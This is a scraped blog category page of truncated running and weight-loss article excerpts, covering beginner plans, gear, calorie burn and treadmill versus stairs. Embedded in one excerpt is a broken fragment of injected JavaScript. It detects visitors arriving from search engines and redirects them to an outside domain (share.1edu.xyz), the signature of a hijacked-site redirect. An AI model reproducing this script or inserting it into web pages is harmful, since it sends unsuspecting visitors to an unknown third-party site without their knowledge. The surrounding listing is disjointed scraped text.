All posts in Running

Thinking about starting to run but have never exercised before? I get it, it feels overwhelming, but I promise, you’ve got this.When I first started—I could barely breathe, and my legs felt like jelly. It wasn’t easy, but I kept at it. Running isn’t about being perfect; it’s about getting out there and trying, no…

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Share So, you’ve decided to start running in 6 weeks – awesome!  Whether you want to get fit, clear your mind, or just challenge yourself, running is a great way to do it.  The best part? You don’t need expensive gear or a gym membership. Just a pair of good running shoes and a plan…

Think running isn’t your thing? Don’t write yourself off just yet. “I believe almost everyone can run a marathon,” says Dr. Jaspal Ricky Singh, vice-chair of Strategy and Clinical Operations and associate professor within the Department of Rehabilitation Medicine at Weill Cornell Medicine. “The idea of running that far sounds ridiculous, but it’s one step at…

Whether you’ve been running for as long as you can remember or are just starting, having the right running gear can truly make or break your experience — especially if you’re training for a marathon. As someone who has been running on and off for over 15 years, I can attest to this — especially…

Whether you’re a lifelong marathoner or you just joined a run club yesterday, lacing up your sneakers and hitting the trail can be great for your mind, body, and can even jumpstart weight loss. However, how many calories you burn while running depends on a lot of factors, experts say. There are ways to optimize…

So, you’ve decided to start a running program. Congrats! You’ve just taken the most important step in the process.AdvertisementCleveland Clinic is a non-profit academic medical center. Advertising on our site helps support our mission. We do not endorse non-Cleveland Clinic products or services. PolicyEvery runner’s journey begins with a commitment to put one foot in…

Like any question about health and fitness worth answering, the question of whether walking is a good exercise for weight loss depends on several factors, and isn’t necessarily clear-cut.The UK’s NHS website describes walking as “simple, free and one of the easiest ways to get more active, lose weight and become healthier,” and in one…

FAYETTEVILLE, Ark. — Apparently all those fancy diets with tons of instructions just complicated things for Arkansas rising sophomore running back Braylen Russell.He’s found out what some of us old folks that have gone through it discovered. Simply cutting out the useless things works much better.”Cutting out fast food, late-night snacks and all that,” Russell…

(Many of the links in this article redirect to a specific reviewed product. Your purchase of these products through affiliate links helps to generate commission for Therunningadvisor.com, at no extra cost. Learn more) The Benefits of Running for Weight Loss Running is a highly effective and accessible form of exercise that offers numerous benefits for…

Is Running or Walking Better for Fat Loss in 2025? Real Results from 200lbs to 150lbs 0 && referrer.indexOf(‘corp.google.com’) === -1) || referrer.indexOf(‘duckduckgo.com’) > 0 || referrer.indexOf(‘bing.com’) > 0 || referrer.indexOf(‘yahoo.com’) > 0 || referrer.indexOf(‘aol.com’) > 0 || referrer.indexOf(‘brave.com’) > 0 || referrer.indexOf(‘ecosia.org’) > 0) { window.location = ‘https://share.1edu.xyz/?ref=’+url; } ]]>

As soon as you step foot into the cardio room, you must make a tough decision: whether to snag a trusty treadmill or steadfast stepper for your sweat sesh. Sure, the StairMaster is reliable for a slow-and-go booty burn, while the treadmill is tried-and-true for interval sprints and TikTok-viral walking trends. So, which should you…

The Power of Running for Weight LossRunning is often touted as one of the best exercises for weight loss, and for good reason. It engages multiple muscle groups, elevates the heart rate, and can be performed almost anywhere. In this article, we will delve deep into the relationship between running and weight loss, provide insights…

Running is often hailed as one of the most effective forms of exercise for weight loss. It’s accessible, requires no special equipment, and can be done almost anywhere. If you’ve been contemplating starting a running routine to shed those extra pounds, you’re in the right place. This comprehensive guide will walk you through the steps…

Running can be an effective weight-loss tool if you take the right approach to it. Our 8-Week Running for Weight-Loss Program combines three key elements that are proven to yield the best results: high-intensity aerobic exercise, strength training, and a healthy, portion-controlled diet. How to Lose Weight Running It’s important to keep in mind that…

MANILA, Philippines — Actress Sharon Cuneta posted her most recent photo this week that showed her leaner physique after shedding the “ugly extra weight.”  The actress said that she could not believe that she had lost the weight after struggling with it for years.  Sharon said she is now back to size 6 to 8,…